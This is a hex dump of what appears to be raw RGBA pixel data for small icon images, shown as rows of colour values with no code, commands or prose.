FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFC0
C0FFC0C0C0FFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0C0FFC0C0
C0FFBFC0BFFFBFBFBFFFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C6FFC5C5
C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5
C5FFC5C6C5FFC6C6C5FFC3C3C3FFFFFFFFFF42A440FF40E438FF3FE038FF40E0
39FF3FE038FF3FE038FF3FE038FF3FE038FF3FE038FF3FE038FF3FE038FF3FE0
38FF40E039FF3FDF38FF40E639FF5B925AFF50983AFF5BCD31FF59C930FF59CA
31FF59CA32FF59CA32FF59CA32FF59CA32FF59CA32FF59CA32FF59CA32FF59CA
31FF59CA31FF58C930FF5ACF31FF648B57FFB7BEB8FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9AA19CFF898F48FFC3CC51FFAFBB36FFFFFF
F5FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFF5ECFFFF9F86EFFFB39DFFFF7B7492FF449E3BFF40CD31FF41CB33FF41CB
34FF42CB34FF42CB35FF42CB35FF42CB35FF42CB35FF42CB35FF42CB35FF42CB
34FF41CB34FF40CB33FF40CF31FF5B9156FF548E38FF58B328FF58B02AFF59B1
2BFF59B12BFF5AB12CFF5AB12CFF5AB12CFF5AB12CFF5AB12CFF5AB12CFF59B1
2BFF59B22BFF58B02AFF5AB327FF638854FFBBC0BCFFFFFFFFFFFFFFFFFFEBEF
ECFFE4EAE5FFD6E0D8FFCBD6CEFFCCD8CEFFC7D4CBFFD1DAD3FFD4DFD6FFE2EA
E5FFECEFEDFFFFFFFFFFFFFFFFFFA0A3A0FF707B3CFF8D9E32FF798F1AFFEAED
DDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFD2CBF2FF644ED4FF7762E4FF6F6A90FF459638FF41C32CFF42C12EFF43C1
2EFF43C130FF43C12FFF43C12DFF45C028FF45C028FF43C12DFF43C12FFF43C1
30FF43C12EFF41C12EFF40C52CFF5B8B55FF548333FF59A422FF57A023FF58A1
24FF59A125FF59A125FF59A125FF59A125FF59A125FF59A125FF59A125FF59A1
25FF58A024FF57A023FF59A621FF648052FFB9BCB9FFFFFFFFFFDBE0DCFFECF0
EDFFC6CFC7FFF8FAF8FFF3F4E8FFEAECDEFFF4F5E9FFF6F8ECFFE8ECE9FFD6DC
D7FFE9EDEAFFE2E6E4FFFFFFFFFF9EA19EFF5F6D31FF6E891FFF5B7506FFE6E9
DAFFFFFFFFFFFFFFFFFFFFFFFFFFEAEAEAFFE7EAF2FFFFFFFFFFFFFFFFFFFFFF
FFFFC6C0F0FF412BCFFF543FDEFF635D8DFF459035FF40BC28FF42BA29FF43BB
2AFF44BB2BFF45B91EFF43BC34FF35C67DFF37C57AFF42BC2FFF45BA20FF44BB
2BFF43BB2AFF42BA28FF40BE27FF5B8754FF28B3C3FF11F6FFFF14F2FFFF15F2
FFFF16F2FFFF16F2FFFF16F2FFFF16F2FFFF16F2FFFF16F2FFFF16F2FFFF16F2
FFFF15F2FFFF13F2FFFF10F9FFFF4D9BA4FFB9B9B9FFFFFFFFFFE0E1E0FFE0E0
DFFFF4F5F5FFC0C1BFFF425AD5FF4661D1FF4761D1FF4B61CFFFC3C4B7FFFFFF
FFFFD3D5D4FFECEDECFFFFFFFFFF9E9E9EFF516327FF56740FFF416300FFE1E6
D6FFFFFFFFFFD1E1DFFFB6D2C8FF82AEC2FF90AAA5FFB7D7D3FFDEEAE7FFFFFF
FFFFBEB8EFFF250ECDFF3823DBFF5A538BFF458E35FF40B926FF41B727FF42B8
28FF47B617FF31C69FFF1BD8FFFF28CEDDFF26CEE0FF1BD8FFFF34C58EFF46B6
19FF43B828FF42B726FF40BB25FF5B8553FF2CAEB8FF16F0FFFF19ECFCFF1AEC
FCFF1BECFCFF1CECFCFF1CECFCFF1CECFCFF1CECFCFF1CECFCFF1CECFCFF1BEC
FCFF1AECFCFF18ECFCFF16F3FFFF4D979DFFB9B9B9FFFFFFFFFFDDDDDDFFD4D4
D4FFC2C2C1FFCBC9C7FF053AC2FF1D63BEFF1A6DAFFF173CCAFFD7D3C8FFC4C4
C4FFCDCDCDFFE7E7E7FFFFFFFFFF9E9E9EFF4B5E24FF4D6F09FF375900FFE4E7
D9FFF7FAFCFFB6D9E4FFCDBC6DFFA29E5DFF86AF85FFD2C6A7FFA0CACFFFFFFF
FFFFBCB4EFFF1701CAFF2C17DAFF564E8BFF468E35FF46BC2BFF43B829FF44B7
21FF36C381FF28CED4FF46B51DFF47B619FF48B619FF46B722FF26CFE4FF3AC0
6BFF43B722FF42B827FF40BC25FF5B8553FF28B3BEFF13F9FFFF14F1FBFF13EF
FBFF15F0FBFF15F0FBFF15F0FBFF15F0FBFF15F0FBFF15F0FBFF15F0FBFF15F0
FBFF14F0FBFF12F0FBFF0FFCFFFF4C9AA1FFBBBBBBFFF4F4F4FFBBBBBBFFBFBF
BFFFCCCCCBFFD8DADAFF2A209DFF36269BFF35269DFF312C9EFFE8E8DEFFCACA
CBFFBEBEBEFFB2B2B2FFFFFFFFFF9E9E9EFF4C5F26FF54740CFF3B5C00FFE9EB
DBFFBCDBE1FFDACECAFF93BCCBFFA8C6E9FF243156FF6C7893FFDCE2E1FFCDE8
DDFFC3B9F3FF1903CCFF2E19DAFF57508BFF468F37FF49BE2DFF4ABC2FFF4AB9
23FF2ACBC1FF47B512FF45B828FF45B725FF45B725FF45B828FF47B516FF2CCC
C0FF44B71DFF42B827FF40BC25FF5B8553FF7B3320FF9F2700FF9E2A00FF9C28
00FF982300FF972200FF982300FF982300FF982300FF982300FF982300FF9823
00FF982200FF972100FF9A1D00FF785047FFB9B9B9FFFFFFFFFFBEBEBEFFD6D6
D6FFC6C7C7FFE1DEDDFF9C0900FFB4796FFFB0665BFF98140BFFECF7F7FFC5C5
C5FFD8D8D8FFBEBEBEFFFFFFFFFF9E9E9EFF4D5F25FF57770FFF416300FFE4E8
D8FFFFFFFFFFDEF2F6FFC3E1E5FF366194FF4D6688FF667B9CFF8995A9FFFFFF
FFFFBCB5EFFF1903CCFF2D19DAFF57508BFF4A9038FF4CC031FF4EBE33FF50BD
2EFF44C672FF4CBC2CFF49B927FF3ABE61FF3ABF5FFF45B723FF45B723FF38C0
69FF42B722FF40B725FF41BB26FF5C8553FF753F25FF963D10FF953F14FF9640
16FF964217FF943E14FF903912FF8C350FFF8C340FFF8C340FFF8D3410FF8D33
0EFF8D320DFF8B310BFF8F310AFF755649FFB9B9B9FFFFFFFFFFC0C0C0FFCECE
CEFFCBCCCCFFE5E5E5FF900404FF8E1111FF8E1010FF890C0CFFFDFFFFFFB7B7
B7FFC9C9C9FFD0D0D0FFFFFFFFFF9E9E9EFF4F6125FF5B7A10FF466800FFE3E7
D9FFFFFFFFFFFFFFFFFF99CDD8FF4C78ABFF1E3963FF001C52FFE5E9F2FFFFFF
FFFFBBB4EEFF1701CAFF2E18DAFF56518BFF4A9138FF50C134FF51BE36FF52C0
37FF52C03BFF53BF36FF52C03FFF31D9FBFF31D6EEFF50BE37FF4FBD32FF4EBE
38FF4FBE33FF51BE34FF51C436FF5D8654FF7A4020FFA24201FF9E4303FF9E44
07FF9E4506FF9F4508FF9F4608FF9E4709FF9D4407FF9C4306FF9B4104FF9B40
05FF9C4205FF9C4303FFA44200FF795A48FFB9B9B9FFFFFFFFFFFFFFFFFFDDDD
D9FFFBFBF6FFFCFDF8FFE6E3E0FFE7E7E4FFE9E8E4FFE4E4E2FFFDFDFBFFF4F3
F0FFDEDEDCFFFFFFFFFFFFFFFFFF9E9E9EFF4F6226FF5F7D11FF496B00FFE2E8
D8FFFFFFFFFFFFFFFFFFFBFDFDFF9DB7D0FF375D91FFC9D0DAFFFFFFFFFFFFFF
FFFFBFB8F0FF2911D1FF4128E1FF57508BFF4A9039FF52C337FF54C136FF55C1
39FF55C039FF55C23AFF55C134FF4EC55EFF52C34BFF55C136FF55C23AFF55C1
3AFF55C139FF53C137FF54C637FF5D8554FF3333B2FF2E2EF8FF2E30F0FF2F32
F0FF3132F0FF3032F0FF3032F0FF3032F0FF3132F0FF3132F0FF3132F0FF3132
F0FF3031F0FF2D2FF0FF2D2EFBFF505099FFB9B9B9FFFFFFFFFFFFFFFFFFC3CC
F6FFC0CAF5FFAFBAF2FFD5DCFAFFE5E9FDFFC5CFF8FFE4EAFDFFE2E6FAFFCED5
F8FFE4E9FCFFFFFFFFFFFFFFFFFF9E9E9EFF506325FF618311FF4B6D00FFE4E8
D8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFC1BAF2FF2D14D1FF4128E1FF57508BFF499038FF53C435FF53C037FF54C2
37FF54C238FF54C238FF54C238FF55C134FF54C135FF54C238FF54C238FF54C2
38FF54C237FF52C136FF55C736FF5C8552FF3833A7FF352EE6FF3730E2FF3730
E2FF3832E3FF3832E3FF3832E3FF3832E3FF3832E3FF3832E3FF3832E3FF3832
E3FF3731E2FF362FE2FF362EE9FF525092FFB9B9B9FFFFFFFFFFFFFFFFFF9AA7
EEFFA4B1EFFF9DAAEEFFB9C3F4FF9CAAEFFFB3BEF2FF9CABEFFFA2AFEFFF97A5
EDFFCFD5F6FFFFFFFFFFFFFFFFFF9D9D9DFF4E6121FF62830AFF4B6D00FFE4EA
D9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFC0B8F2FF2B0ED3FF4224E3FF554F89FF509741FF6BCD52FF68CB51FF69CA
51FF69CA52FF69CA52FF69CA52FF69CA52FF69CA52FF69CA52FF69CA52FF69CA
52FF69CB51FF68C950FF6BCD52FF68935FFF413DACFF524DEBFF504BE7FF514C
E7FF514CE7FF524CE7FF524CE7FF524CE7FF524CE7FF524CE7FF524CE7FF514C
E7FF514CE7FF504BE7FF504BEAFF5F5DA1FFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFF546829FF7C9939FF64841BFFF1F7
E7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFD1CBFDFF4832E0FF5E4AEBFF5F589BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFBF
C0FFC0C0C0FFBEBEBEFFBEBEBEFFBEBEBEFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFBF
BFFFC0C0BFFFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFF448C68FF43C37BFF43BF79FF43BE
7AFF45BD71FF27D5EAFF1EDCFFFF1FDCFFFF1FDCFFFF1EE4FFFF2782FEFF3010
EEFF2E1AEFFF2E19F0FF2F19F6FF554E97FFB7B7BDFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF2008EEFF341DF0FF341DF0FF341D
F0FF341DF1FF331CF0FF341DF7FF565097FF8A807BFFD9B18FFFD0742AFFBF59
06FFBC5D0EFFBF6215FFC06619FFC0661AFFC0661AFFC0661AFFC0661AFFC066
1AFFC0651BFFC1651AFFC56818FF876950FF754C3AFF9B4D2DFFBE8E76FFD3B0
A1FFCFA99AFF974B2BFF924222FFFDF4F1FFFFFFFFFF91411FFF9A5031FF984D
2DFFBD8C76FFD4B0A2FFD4AD9BFF755E55FF468F56FF42BA55FF42B857FF43B8
58FF45B64CFF29CED8FF20D5FFFF22D4FDFF22D4FDFF21DDFEFF2980EDFF3113
DAFF301DDCFF301BDCFF2F19E2FF544E98FFBBBBC0FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF220ADAFF3620DDFF3620DDFF3620
DDFF3520DDFF341EDDFF331CE3FF564E98FF8E5021FF8F5F44FF8DB1DDFFBAD6
F5FFE9BF9BFFC5773DFFA64701FFA74D09FFAA5210FFAC5716FFAD5818FFAD58
18FFAD5717FFAD5716FFB05614FF86644DFF764938FFA7684EFFFFFFFFFFD5BA
AFFFCAA899FF924A2BFF8C401FFFF3ECEAFFFFFFFFFF8B3D1DFF934C2DFFA567
4DFFFFFFFFFFD5BAB0FFCDA899FF775F54FF468F45FF40BA3BFF43B83CFF44B9
3EFF46B630FF2ACED2FF21D4FFFF23D4FBFF23D4FBFF22DCFDFF2A7DEBFF3214
D4FF311DD6FF301CD7FF2D19DBFF554E92FFB9B9BCFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF210BD4FF3621D7FF3621D7FF3621
D7FF3620D7FF341FD8FF331CDCFF575093FF834C28FFA64A0AFFA74400FF8351
37FF4984C3FF8CD4FFFFF8FFFFFFF1C9ADFFC38354FF9D4104FF9C3F02FF9F46
0AFFA24C10FFA24B12FFA54C0EFF80604CFF774C38FF914526FF964F31FFDCC5
BAFFD7BEB1FF8F4423FF8C3F1FFFF3ECE7FFFFFFFFFF8A3C1BFF954E2EFF9147
29FF964F30FFDAC3B9FFDCC0B4FF755B4FFF458E34FF40BA25FF43B826FF42B7
28FF46B71AFF2ACCCDFF21D4FFFF23D4FCFF23D4FCFF21DCFDFF2A7DE7FF3114
D0FF311DD2FF2E1BD1FF2E18D7FF554E8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF210BCEFF3621D3FF3520D3FF3621
D3FF3420D3FF341ED2FF311BD9FF584F8FFF7A4625FF9D420BFF9A430FFF9D42
0AFFA43D00FF7D482EFF2067B1FF41A9FFFFC3EBFFFFFFFFFFFFF2D8C6FFC58F
6BFF9C4611FF903200FF983900FF795B48FF774A37FF934625FFA4664DFFCCAA
9CFF92482AFF944B2CFF8C3E1CFFF3EBE8FFFFFFFFFF8A3B1AFF954D2DFF9248
2AFFA4664CFFCCAA9CFF944827FF775D53FF458E2FFF40B91CFF41B71DFF42B9
1FFF46B60FFF2ACECBFF21D4FFFF23D4FCFF23D4FCFF21DCFDFF2A7DE7FF3114
CEFF311DD0FF2F1BCFFF2C18D6FF554E8DFFB8B8B8FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF220CCCFF3722D1FF3722D1FF3621
D1FF3520D1FF341ED0FF321BD7FF584F8EFF784525FF983F09FF973E0CFF963B
07FFA05123FF9A3E07FFA43D00FF834729FF1F65ABFF0183F4FF81C2FBFFFEFF
FFFFFFFFFFFFF8E8DFFFCE9F84FF7E6455FF703F2AFF8F401DFFB68771FFC198
86FF8B3C1CFF893918FF802B09FFF1E8E4FFFFFFFFFF7D2906FF893918FF8E41
21FFB68770FFC19786FF8D3A17FF73584DFF468E2FFF46BC20FF43B81FFF43B8
20FF47B611FF2ACECBFF21D4FFFF23D4FCFF23D4FCFF21DCFDFF2A7DE7FF3114
CEFF311DD1FF2F1BD1FF2C18D6FF554E8DFFB8B8B8FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF220CCCFF3722D2FF3722D2FF3621
D2FF3520D2FF341ED2FF321BD7FF584F8EFF7A4524FF9C440BFF983F0AFFA65C
31FFB67856FF9C4716FF994211FF9C410BFFA53C00FF8B4826FF2868A8FF0073
F1FF3E9BEBFFBDDDFAFFFFFFFFFFA5A5A5FFBBBCBBFFFFFFFFFFFCFAF9FFFBF9
F9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFCFBFBFFFCF9F8FFFFFFFFFF9E9E9EFF468F30FF49BE23FF4ABC26FF49BB
24FF47B612FF29CDCBFF21D4FFFF23D4FCFF23D4FCFF21DCFDFF2A7DE7FF3114
CEFF311DD1FF2F1BD1FF2C18D6FF554E8DFFB8B8B8FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF220CCCFF3722D2FF3722D2FF3621
D2FF3520D2FF341ED2FF321BD7FF584F8EFF7A4525FF9D4309FFA95F31FFE4CD
C2FFFAF6F5FFD7B7A5FF9C4716FF983E0BFF9A4310FF9C410BFFA53C00FF8E48
22FF2F68A4FF0076F2FF057CEBFF6E8498FFB4B0B0FFF8F3F0FFF2EAE6FFF1E8
E4FFF0E7E3FFF5EEECFFF4ECEAFFFEFEFDFFFEFFFFFFF4ECEAFFF5EFEDFFF5EE
EDFFF2E8E4FFEFE6E2FFF7EEEAFF9B9998FF4A9031FF4CC027FF4EBE29FF4FBE
2BFF52BC1DFF31D1CDFF24D5FFFF21D3FCFF21D3FCFF21DBFDFF287DE6FF3013
CEFF2F1BD0FF2D19CEFF2C18D5FF564E8DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF210BCBFF3520D1FF3520D1FF341F
D1FF331ED1FF321CCFFF321BD6FF584F8EFF7B4726FFAC5E2AFFC79877FFFFFF
FFFFFFFFFFFFFBF7F5FFB87A57FFA05022FF98400DFF98410FFF99410FFF9A3F
0AFFA33A00FF8E431BFF3369A5FF47709BFF72432EFF944725FFB88970FFC8A3
92FFC7A191FF8D3E1EFF86310FFFF1E9E4FFFFFFFFFF7D2A07FF8A3B1AFF8B3C
1CFFB28068FFC39C8BFFC69B88FF73584AFF4A9132FF50C128FF51BE2CFF52C0
2DFF55BE1FFF38D3CEFF31D8FFFF32D8FCFF2FD8FCFF2EDEFDFF3486E9FF3B1E
D1FF3C27D5FF3C26D5FF3E26DBFF564F8FFFBBBBBBFFF8F7FFFFF9F8FDFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3218D2FF422CD5FF412BD5FF412A
D5FF412AD5FF412BD6FF4229DCFF58508FFF7B4825FFA2490AFFB7774DFFF2E8
E3FFFFFFFFFFE5CEC2FFB06939FFA14D11FFA25016FFA14E15FFA14D15FFA04D
15FFA14D14FFA34E0FFFB04C01FF795D4BFF784B38FFAC6E51FFFFFFFFFFDDC7
BCFFCEAD9EFF9D5635FF974C2BFFF4EDEAFFFFFFFFFF944826FF9A5334FFAA6C
50FFFFFFFFFFDCC5BBFFD2B19FFF775D51FF4A9033FF52C32BFF54C12DFF55C1
2FFF57BF21FF39D4CFFF30D9FFFF32D9FCFF32D9FCFF31E0FDFF3A89EAFF4323
D5FF412BD7FF3F29D5FF3F26DCFF564F8FFFB3B3B8FFD2D2DCFFD6D7E3FFFAF8
FDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF341BD2FF4730D7FF4730D7FF472F
D7FF462FD7FF452DD7FF442ADDFF58508EFF7C4A25FFA5510EFFA65418FFB879
4FFFC99A79FFAF6735FFA45116FFA45216FFA55317FFA55317FFA55317FFA553
16FFA55315FFA45113FFA8520FFF7A5C48FF794E3BFF9F5534FFA15F3FFFDBC2
B7FFD9BEB2FF9C5332FF994E2DFFF4ECEAFFFFFFFFFF974D2BFFA15C3DFF9D57
37FFA15D3FFFDAC3B6FFDFC3B5FF755B4FFF499032FF53C428FF53C02BFF54C2
2BFF57C01EFF37D4CEFF2FDBFFFF30DAFCFF30DAFCFF2FE2FEFF3688EAFF401F
D5FF4027D7FF3F25D7FF4024DEFF554E8DFFA8A7B0FFBDC0C6FFC7C7CFFFEFED
F7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3418D4FF462CD8FF462CD8FF462D
D8FF452BD8FF4329D8FF4428DFFF57508DFF7C4823FFA7510BFFA4500CFFA34D
0AFFAE642BFFA44F0CFFA55210FFA55211FFA55211FFA55211FFA55211FFA552
11FFA65210FFA4510EFFA9520AFF785B47FF784E3AFFA35B3AFFAE7358FFD4B5
A6FFA05A39FF9F5A3AFF984E2BFFF5EFEAFFFFFFFFFF984C29FFA05B3AFFA15C
3CFFAE7356FFD3B4A5FFA55C39FF785D52FF50973CFF6BCD49FF68CB47FF69CA
48FF6CC93AFF50DBD7FF49E0FFFF49E0FFFF49E0FFFF49E7FFFF5198EFFF5A3E
DBFF5845DDFF5844DDFF5945E1FF615B9CFFC3C3C1FFF6F4FDFFF7F7FDFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF4C35DAFF5D49DEFF5D49DEFF5D47
DEFF5C48DEFF5B47DEFF5D48E2FF645C9CFF834F2FFFB46A33FFB06631FFB067
33FFB06834FFB16733FFB16733FFB16733FFB16733FFB16733FFB16733FFB167
33FFB06733FFB06631FFB36932FF876855FF805442FFB2765AFFD0AE9FFFD6B8
ABFFAD7055FFAD6F53FFA66345FFF8F3EFFFFFFFFFFFA46043FFAD6F53FFAF72
59FFD0AD9EFFD6B9ABFFB17256FF856B60FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
